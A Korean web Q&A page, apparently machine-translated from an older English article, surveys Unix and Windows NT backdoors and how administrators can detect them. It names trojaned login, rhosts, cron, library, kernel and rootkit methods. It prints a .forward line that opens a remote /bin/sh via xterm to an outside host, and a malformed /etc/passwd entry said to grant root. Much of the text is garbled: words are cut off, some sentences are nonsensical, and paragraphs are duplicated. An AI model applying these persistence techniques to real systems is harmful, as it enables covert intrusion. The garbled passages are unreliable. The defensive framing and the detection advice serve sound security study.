컴퓨터 지식 네트워크 - 컴퓨터 프로그래밍 - 백도어 바이러스란 무엇인가요?

백도어 바이러스란 무엇인가요?

범주: 컴퓨터/네트워크>> 안티 바이러스

분석:

잘 훈련된 프로그래머가 더 복잡한 기능을 가진 소프트웨어를 설계할 때 일반적입니다. 먼저 전체 소프트웨어를 여러 모듈로 나눈 다음 각 모듈을 별도로 설계하고 디버깅합니다. 백도어는 모듈로 들어가는 비밀 입구입니다. 백도어는 프로그램 개발 중에 모듈의 기능을 테스트, 변경 및 강화하기 위해 존재합니다. 물론 프로그래머는 일반적으로 소프트웨어 문서에 백도어를 기록하지 않으므로 사용자는 일반적으로 백도어의 존재를 이해할 수 없습니다.

/?일반적인 운영 절차에 따르면 프로그래머는 소프트웨어가 사용자에게 전달되기 전에 소프트웨어 모듈에 있는 백도어를 제거해야 합니다. 그러나 프로그래머의 부주의로 인해 또는 의도적으로 프로그램에 백도어를 남겨 두었습니다. 이 프로그램은 은밀한 접근을 제공하고, 완성된 프로그램의 테스트나 유지 관리를 용이하게 하는 등의 이유로 실제로 제거되지는 않았습니다.

이렇듯 백도어는 프로그램 작성자에 의해 은밀하게 사용될 수도 있고, 철저한 검색을 통해 몇몇 사람들이 숨은 의도로 발견되어 악용될 수도 있습니다.

캐시.baidu/c?word=%CA%B2%C3%B4%3B%CA%C7%3B%BA%F3%C3%C5&url=%3A%2Exiaom%2E/Article%5Fshow %2Easp%3FArticleID%3D4777&b=0&a=29&user=baidu

백도어란 무엇입니까?

컴퓨터 침입자는 초창기부터 컴퓨터 침입자가 다음을 수행할 수 있는 도구를 개발하기 위해 열심히 노력해 왔습니다. 손상된 시스템으로 돌아갑니다. 이 문서에서는 많은 일반적인 백도어와 해당 탐지 방법에 대해 설명합니다. Unix 시스템의 백도어에 더 중점을 두고 앞으로 나타날 일부 Windows NT 백도어에 대해서도 설명합니다. 침입자가 사용하는 백도어를 탐지하는 방법 관리자가 침입자의 복귀를 방지할 수 있는 방법에 대한 기본 사항 관리자가 침입자를 막는 것이 얼마나 어려운지 이해하면 첫 번째 침입을 방지하는 데 더욱 적극적으로 대처하게 됩니다. 은폐 시도 후배 및 고급 침입자가 백도어를 생성하는 데 널리 사용되는 방법이 많이 있지만 가능한 모든 방법을 포함하지도 않고 포괄할 수도 없습니다.

대부분의 침입자의 백도어는 다음과 같은 2~3가지 목적을 달성합니다.

관리자가 모든 비밀번호를 변경하는 등 보안을 강화하더라도 재침입이 여전히 발생할 수 있습니다. 이렇게 하면 대부분의 백도어가 로그를 탈출할 수 있습니다. 침입자가 시스템을 사용하더라도 자신이 온라인 상태라는 것을 나타내지 않는 경우도 있습니다. 어떤 경우에는 관리자가 설치된 백도어를 탐지할 수 있다고 생각하면 시스템의 취약점을 유일한 수단으로 활용합니다. 이는 시스템에 반복적으로 침입할 수 있는 백도어입니다. 따라서 이 경우 시스템의 취약점은 눈에 띄지 않는 유일한 백도어입니다.

비밀번호 크래킹 백도어입니다. 침입자입니다. 사용된 가장 오래되고 오래된 방법은 Unix 시스템에 대한 액세스 권한을 얻을 수 있을 뿐만 아니라 비밀번호를 크래킹하여 백도어를 생성하는 것입니다. 이는 향후 관리자가 현재 계정을 차단하더라도 비밀번호가 취약한 계정을 크랙하는 것입니다. 대부분의 경우 침입자는 비밀번호가 취약한 사용하지 않는 계정을 찾은 다음 관리자가 비밀번호가 취약한 계정을 찾기 어렵게 만듭니다. 따라서 비밀번호가 변경된 계정을 찾을 수 없습니다. 따라서 관리자가 차단할 계정을 결정하기가 어렵습니다.

Rhosts + + 백도어

네트워크로 연결된 Unix 시스템에서는 다음과 같은 서비스가 있습니다. Rsh와 Rlogin은 rhosts 파일을 기반으로 하며, 호스트 이름은 간단한 인증 방식을 사용하므로, 침입자는 접속 권한이 있는 사용자의 rhosts 파일에 "++"만 입력하면 쉽게 설정을 변경할 수 있습니다. 특히 NFS를 통해 외부적으로 홈디렉토리를 공유하는 경우에는 침입자들이 이 계정을 다시 침입하기 위한 백도어가 되기도 합니다. Rsh를 사용하는 이유는 일반적으로 로깅 기능이 부족하기 때문입니다.

"++"를 자주 확인하면 침입자가 실제로 인터넷에서 다른 계정의 호스트 이름과 사용자 이름을 설정하여 발견 가능성이 낮아질 수 있습니다. .

p>

체크섬 및 타임스탬프 백도어

초기에는 많은 침입자가 자신의 트로이 목마 프로그램을 사용하여 바이너리 파일을 대체했습니다. 시스템 관리자는 타임스탬프 및 시스템 체크섬 프로그램을 사용하여 파일을 식별했습니다. Unix의 sum 프로그램과 같은 바이너리 파일이 변경되었는지 여부 침입자는 트로이 목마 파일과 원본 파일의 타임스탬프를 동기화하는 새로운 기술을 개발했습니다. 먼저 시스템 시계를 다시 설정합니다. 원본 파일 시간을 확인한 다음 트로이 목마 파일의 시간을 시스템 시간으로 조정합니다. 바이너리 트로이 목마 파일이 원본과 정확하게 동기화되면 시스템 시간을 현재 시간으로 다시 설정할 수 있습니다. 합계 프로그램은 CRC를 기반으로 합니다. Intrusion 작성자는 트로이 목마의 체크섬을 원본 파일의 체크섬으로 조정할 수 있는 프로그램을 설계했으며, MD5에서 사용하는 알고리즘은 대부분의 사람들이 권장합니다. 아직 누구에게도 속지 않았습니다.

로그인 백도어

>

유닉스에서는 Tel에서 오는 사용자의 비밀번호를 검증하기 위해 주로 로그인 프로그램을 사용하는데, 침입자는 login.c의 원본 코드를 입수해 입력된 비밀번호와 비교 시 백도어 비밀번호를 먼저 확인하도록 수정한다. 사용자가 백도어 비밀번호를 입력하면 관리자가 설정한 비밀번호를 무시하고 바로 들어갈 수 있습니다. 이렇게 하면 백도어 비밀번호가 루트보다 먼저 생성되므로 침입자가 어떤 계정에도 들어갈 수 있습니다. 사용자는 실제로 로그인하고 utmp 및 wtmp 액세스에 로그인되므로 침입자는 계정을 노출하지 않고도 로그인하여 쉘을 얻을 수 있습니다. 관리자는 이 백도어를 발견한 후 "strings" 명령을 사용하여 로그인 프로그램에서 텍스트 정보를 검색했습니다. 대부분의 경우 침입자는 비밀번호를 암호화하거나 숨기기 시작하여 문자열 명령을 유효하지 않게 만듭니다. 따라서 더 많은 관리자가 이러한 종류의 백도어를 탐지합니다.

Teld 백도어

사용자가 시스템에 전화하면 포트에서 수신 대기 중인 id 서비스가 연결을 수락한 다음 로그인을 실행하는 in.teld에 전달합니다. 일부 침입자는 관리자가 여부를 확인할 것임을 알고 있습니다. 로그인이 수정되었으므로 in.teld에서 수정을 진행합니다. 사용자가 어떤 터미널을 사용하는지와 같은 사용자 정보에 대한 몇 가지 확인이 있습니다. 일반적인 터미널 설정은 Xterm 또는 VT100입니다. 침입자가 이러한 백도어를 만들 수 있습니다. 터미널이 "letmein"으로 설정된 경우 인증된 셸이 필요하지 않습니다. 침입자가 일부 서비스를 백도어하여 특정 소스 포트에서 연결하기 위한 셸을 생성했습니다.

서비스 백도어

거의 모든 네트워크 서비스는 침입자에 의해 백도어되었습니다. Finger, rsh, rexec, rlogin, ftp, 심지어 ID 등의 버전도 어디에나 있습니다. 일부는 백도어 비밀번호를 통해 특정 TCP 포트에 연결된 쉘일 뿐입니다. 이런 프로그램이 가끔 사용되나요? ucp와 같이 사용되지 않는 서비스가 id.conf에 새 서비스로 추가될 수 있습니다. 관리자는 어떤 서비스가 실행되고 있는지 주의 깊게 살펴보고 MD5를 사용하여 원래 서비스 프로그램을 확인해야 합니다.

Cronjob 백도어

Unix의 Cronjob은 일정에 따라 특정 프로그램의 실행을 예약할 수 있으며, 침입자는 오전 1시에서 오전 2시 사이에 실행되도록 백도어 쉘 프로그램을 추가하여 매일 밤 1시간 동안 액세스 권한을 얻을 수도 있습니다. cronjob 자주 실행되는 합법적인 프로그램에도 백도어가 내장되어 있습니다.

라이브러리 백도어

거의 모든 UNIX 시스템에서는 공유 라이브러리를 사용하여 동일한 기능을 재사용합니다. 일부 침입자는 crypt.c 및 _crypt.c와 같은 기능에 백도어를 만들었습니다. 따라서 MD5를 사용하는 관리자가 crypt()를 호출하는 경우에도 마찬가지입니다. 로그인 프로그램이 여전히 백도어 기능을 생성할 수 있는지 확인하십시오. 많은 침입자에게 문제가 있습니다. 일부 관리자는 모든 검증에 MD5를 사용합니다. () 및 파일 액세스 기능. 백도어 기능은 원본 파일을 읽지만 트로이 목마 프로그램을 실행하므로 MD5가 이러한 파일을 읽을 때 체크섬은 정상입니다. 그러나 시스템이 실행되면 트로이 목마 라이브러리도 실행됩니다. MD5 검증 프로그램을 정적으로 컴파일한 후 실행하는 방법으로 관리자가 백도어를 찾을 수 있습니다. 정적 링커는 트로이목마** *라이브러리 공유를 사용하지 않습니다.

커널 백도어

커널은 Unix 작업의 핵심입니다. MD5 검증을 피하기 위해 라이브러리에 사용되는 방법은 커널 수준에도 적용되며 잘 백도어된 커널은 인식할 수 없습니다. 다행히도 커널 백도어는 쉽게 구할 수 없으며 실제로 얼마나 널리 퍼지는지 모두가 알고 있습니다.

파일 시스템 백도어

침입자는 전리품을 저장하거나 서버에 있는 데이터는 관리할 수 없습니다.

관리자는 침입자의 문서에 익스플로잇 스크립트 도구, 백도어 세트, 스니퍼 로그, 이메일 백업, 원본 코드 등이 포함되는 경우가 많다는 사실을 발견했습니다. 때로는 관리자가 이러한 대용량 파일을 발견하는 것을 방지하기 위해 침입자는 "ls", "du", 특정 디렉터리와 파일을 숨기기 위한 "fsck" 매우 낮은 수준에서 침입자는 하드 디스크의 일부를 독점 형식으로 잘라내어 이를 불량 섹터로 표시함으로써 취약점을 만듭니다. 이러한 숨겨진 파일에 액세스하세요.

일반 관리자의 경우 이러한 "불량 섹터"에서 파일 시스템을 찾기가 어렵지만 존재합니다.

부트 차단 백도어

PC 세계에서는 많은 바이러스가 루트 영역에 숨어 있으며, 바이러스 백신 소프트웨어는 루트 영역이 변경되었는지 확인합니다. Unix에서는 대부분의 관리자가 루트 영역 소프트웨어를 확인하지 않으므로 일부 침입자는 루트 영역에 백도어를 남겨둡니다. 루트 영역.

숨겨진 프로세스 백도어

침입자는 일반적으로 자신이 실행하는 프로그램을 숨기려고 합니다. 이러한 프로그램은 일반적으로 비밀번호 크래킹 프로그램과 청취 프로그램(스니퍼)입니다. 이를 달성하기 위한 보다 일반적인 방법은 다음과 같습니다: 프로그램을 작성할 때 argv[]를 수정하여 다른 프로세스 이름처럼 보이도록 합니다. 스니퍼 프로그램의 이름을 in.syslog와 같은 이름으로 바꾼 다음 관리자가 실행할 수 있습니다. 실행 중인 프로세스를 확인하기 위해 "ps"를 사용하는 경우 표준 서비스 이름이 나타나며 "ps"가 모든 프로세스를 표시할 수 없도록 수정될 수 있습니다. 프로세스 테이블은 amod.tar.gz입니다.

star.niimm.spb.su/~maillist/bugtraq.1/0777

커널 숨겨진 프로세스도 수정할 수 있습니다.

루트킷

가장 인기 있는 백도어 설치 패키지 중 하나는 루트킷의 README를 사용하여 쉽게 찾을 수 있습니다. 일반적인 파일은 다음에서 찾을 수 있습니다:

z2 - utmp, wtmp 및 lastlog에서 항목을 제거합니다.

Es - sun4 기반 커널에 대한 rokstar의 에테르 스니퍼.

수정 - 체크섬을 가짜로 시도하고 동일한 날짜/perms/u/g로 설치합니다.

Sl - 로그인에 전송된 마법의 비밀번호를 통해 bee 루트.

Ic - PROMISC를 제거하도록 ifconfig를 수정했습니다. 출력에서 플래그.

ps: - 프로세스를 숨깁니다.

Ns - 특정 시스템에 대한 연결을 숨기도록 통계를 수정했습니다.

Ls - 특정 디렉터리 및 파일을 숨깁니다. 목록에서 숨깁니다.

du5 - 하드 드라이브에서 사용 중인 공간을 숨깁니다.

ls5 - 목록에서 특정 파일과 디렉터리를 숨깁니다.

네트워크 액세스 백도어

침입자는 시스템에서 자신의 존재를 숨기고 싶어할 뿐만 아니라 네트워크 액세스도 숨기고 싶어합니다. 이러한 네트워크 액세스 백도어는 때때로 침입자가 방화벽을 통해 액세스할 수 있도록 허용합니다. 침입자는 특정 포트 번호를 설정하고, 이는 비표준 네트워크 포트를 통해서이기 때문에 정상적인 서비스를 통해 접속할 필요가 없습니다.

이러한 트래픽으로 인해 관리자는 침입자의 발자국을 간과할 수 있습니다. 이 백도어는 일반적으로 TCP, UDP 및 ICMP를 사용하지만 다른 유형의 메시지일 수도 있습니다.

TCP 셸 백도어

침입 작성자는 방화벽에 의해 차단되지 않는 상위 수준 TCP 포트에 이러한 TCP 셸 백도어를 구축하세요. 대부분의 경우 관리자는 연결 후 즉시 셸 액세스를 볼 수 없도록 비밀번호로 보호됩니다. 상태, 수신 중인 포트 및 현재 연결 컨텍스트. 일반적으로 이러한 백도어를 사용하면 침입자가 TCP 래퍼 기술을 회피할 수 있습니다. 이러한 백도어는 많은 방화벽에서 이메일 통과를 허용하는 SMTP 포트에 배치될 수 있습니다.

UDP 쉘 백도어

관리자는 종종 TCP 연결에 주의를 기울이고 이상한 상황을 관찰합니다. 그러나 UDP 쉘 백도어에는 이러한 연결이 없으므로 통계에서는 침입자의 액세스 추적을 표시할 수 없습니다. 일반적으로 침입자는 이 포트에 UDP 셸을 설치하여 방화벽을 통과할 수 있도록 설정합니다.

ICMP 셸 백도어

Ping은 일반적인 방법입니다. ICMP 패킷을 보내고 받음으로써 시스템 활동을 감지합니다. 하나. 많은 방화벽은 외부인이 내부 시스템에 대해 ping을 수행하도록 허용합니다. 침입자는 Ping ICMP 패킷에 데이터를 넣어 관리자가 Ping 패킷을 확인할 수 있습니다. 그러나 그가 패킷 데이터 내부를 보지 않는 한 침입자는 노출되지 않습니다.

암호화된 연결

관리자는 데이터에 액세스하려고 시도하기 위해 스니퍼를 만들 수 있지만, 침입자가 네트워크 접근 백도어를 암호화하므로 두 컴퓨터 사이의 전송 내용을 확인하는 것은 불가능합니다.

Windows NT

Windows NT는 여러 사용자가 하나의 컴퓨터에 쉽게 접근하는 것을 허용할 수 없기 때문에 Unix에서는 침입이 매우 어렵습니다. 공격자가 Windows NT에 침입하여 백도어를 설치하고 거기에서 공격을 시작하는 것은 매우 어렵습니다. 따라서 Windows NT가 개선됨에 따라 Unix에서 광범위한 네트워크 공격을 더 자주 보게 될 것입니다. 다중 사용자 기술로 인해 침입자가 더 자주 발생하게 됩니다. Windows NT를 최대한 활용하게 되면 많은 Unix 백도어 기술이 Windows NT로 이식될 것이며 관리자는 이미 침입자가 나타날 때까지 기다릴 수 있습니다. tel 데몬을 통해 침입자가 Windows NT에 설치하는 것이 가능하다는 것을 알 수 있습니다. /p>

백도어 기술이 발전할수록 관리자는 침입자가 후자에 침투했는지 확인하기가 더 어려워집니다. 성공적으로 차단되었는지 여부를 확인합니다.

평가

가장 먼저 해야 할 일은 사전에 네트워크의 취약성을 정확하게 예측하여 취약성의 존재를 파악하고 해결하는 것입니다. 네트워크 및 시스템 취약성을 검사하고 확인하는 데 도움이 되는 상용 도구를 사용할 수 있습니다. 많은 기업에서는 제공업체의 보안 패치를 설치하기만 하면 보안이 크게 향상됩니다.

MD5 기준

중요한 요소입니다. 시스템(보안) 검사에서는 MD5 체크섬 기준이 해커가 침입하기 전에 깨끗한 시스템에 의해 설정됩니다. 해커가 침입하여 백도어를 설정한 후 일부 회사에서는 이 백도어를 통합합니다. 모든 시스템 백업에는 백도어가 포함되어 있습니다. 회사가 해커를 발견하고 백도어를 제거하기 위해 백업을 시도하면 시스템을 복원할 때 백도어도 복원하기 때문에 모든 노력은 헛된 것입니다. 침입이 발생하기 전에 기준선을 설정해야 합니다.

침입 감지

다양한 조직이 온라인에 접속하고 자체 시스템 중 일부에 대한 연결을 허용함에 따라 침입 감지가 점점 더 중요해지고 있습니다. 과거에는 대부분의 침입탐지 기술이 로그 기반이었습니다.

유형 최신 침입 탐지 시스템 기술(IDS)은 실시간 차단 및 네트워크 트래픽 보안 분석을 기반으로 하며, 최신 IDS 기술은 DNS UDP 메시지를 찾아보고 데이터가 DNS 프로토콜 요청을 준수하는지 여부를 판단할 수 있습니다. 추가 분석을 위해 경고 신호를 보내고 데이터를 캡처하여 데이터가 프로토콜 요구 사항을 준수하는지 또는 암호화된 셸 세션을 마운트할지 여부를 확인하는 ICMP 패킷에도 동일한 원칙을 적용할 수 있습니다.

CD-ROM에서 부팅

일부 관리자는 침입자가 CD-ROM에 백도어를 만들 가능성을 제거하기 위해 CD-ROM에서 부팅하는 것을 고려합니다. 이 접근 방식의 문제점은 비용과 시간이 많이 든다는 것입니다. 구현 수준은 기업용으로 충분히 높습니다.

경고

보안 분야의 급격한 변화로 인해 새로운 취약점이 매일 발표되고 있으며 침입자는 끊임없이 새로운 공격을 설계하고 백도어를 설치하고 있습니다. 걱정 없는 보안 기술은 없습니다. 단순한 방어는 없고 끊임없는 노력만이 있을 수 있다는 점을 기억하세요!

( 어떤 방어도 완벽하지 않으며 대체 수단도 없다는 점을 기억하세요.

이 문장을 어떻게 번역해야 할까요? :( )

---------- ---------------- ----------------------------------

다음을 추가할 수 있습니다:

.forward 백도어

Unix 시스템에서 mands를 .forward 파일에 배치하는 것도

``username''

계정의 경우 .forward 파일을 다음과 같이 구성할 수 있습니다.

\username

|" /usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e

/bin/sh"

이 방법의 순열에는 시스템 메일 변경이 포함됩니다.

별칭 파일(대부분 /etc /aliases에 위치).

이것은 간단한 순열이며, 고급 파일은 간단한

스크립트를 실행할 수 있습니다.

stdin을 통해 임의의 명령을 취할 수 있는 정방향 파일에서 (사소한 전처리 후).

PS: 위의 방법은 패니에 액세스하는 데에도 유용합니다.

mailhub(

&nbs>

클라이언트와 서버에 공유 홈 디렉토리 FS가 있다고 가정).

> *** rsh를 사용하면 효과적으로 무효화할 수 있습니다. 이 백도어(비록 꽤

&

gt; 프로그램 자체를 실행할 수 있는 elm의 필터나

> procmail과 같은 것을 허용한다면 여전히 문제가 될 수 있습니다...).

다음을 추가할 수 있습니다:

.forward 백도어

Unix에서는 .forward 파일에 명령을 입력하는 것이 액세스 권한을 다시 얻는 일반적인 방법입니다. 'username' 계정의 .forward는 다음과 같이 설정할 수 있습니다.

\username

|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e/bin/sh"

이것의 변형 방법에는 시스템 메일 별칭 파일(보통 /etc/aliases에 있음)을 변경하는 것이 포함됩니다. 이는 단순한 변환일 뿐이라는 점에 유의하세요. 고급 버전에서는 .forward에서 간단한 스크립트를 실행하여 표준 입력에서 임의의 명령을 실행할 수 있습니다. >*** rsh를 사용하면 이러한 종류의 백도어를 효과적으로 방지할 수 있습니다(물론 자체 실행 elm의 필터 또는 procmail> 프로그램을 허용하는 경우에도 여전히 문제가 있을 수 있습니다...)

( 저는 그렇지 않습니다. 이 문단의 내용을 깊이 이해하지 못해서 영어로 적었습니다. 조언 부탁드립니다. )

------ ------- ----------------- -------

이 "기능"을 백도어로 사용할 수 있습니다:

잘못된 uid/gid가 있을 때 대부분의 login(1) 구현은 실패합니다. /etc/password에 지정됨 잘못된 uid/gid를 확인하면 atoi(3)는 uid/gid를 0으로 설정하여 수퍼유저 권한을 부여합니다.

예:

rmartin: x: x50:50:R.Martin:/home/rmartin:/bin/tcsh

Linux에서는 rmartin 사용자의 uid가 0으로 설정됩니다.

上篇: 안양시 인두구 오스카롱센영화도시에서 미라마까지 버스를 몇 번 타나요? 下篇: 무슨 팬
관련 내용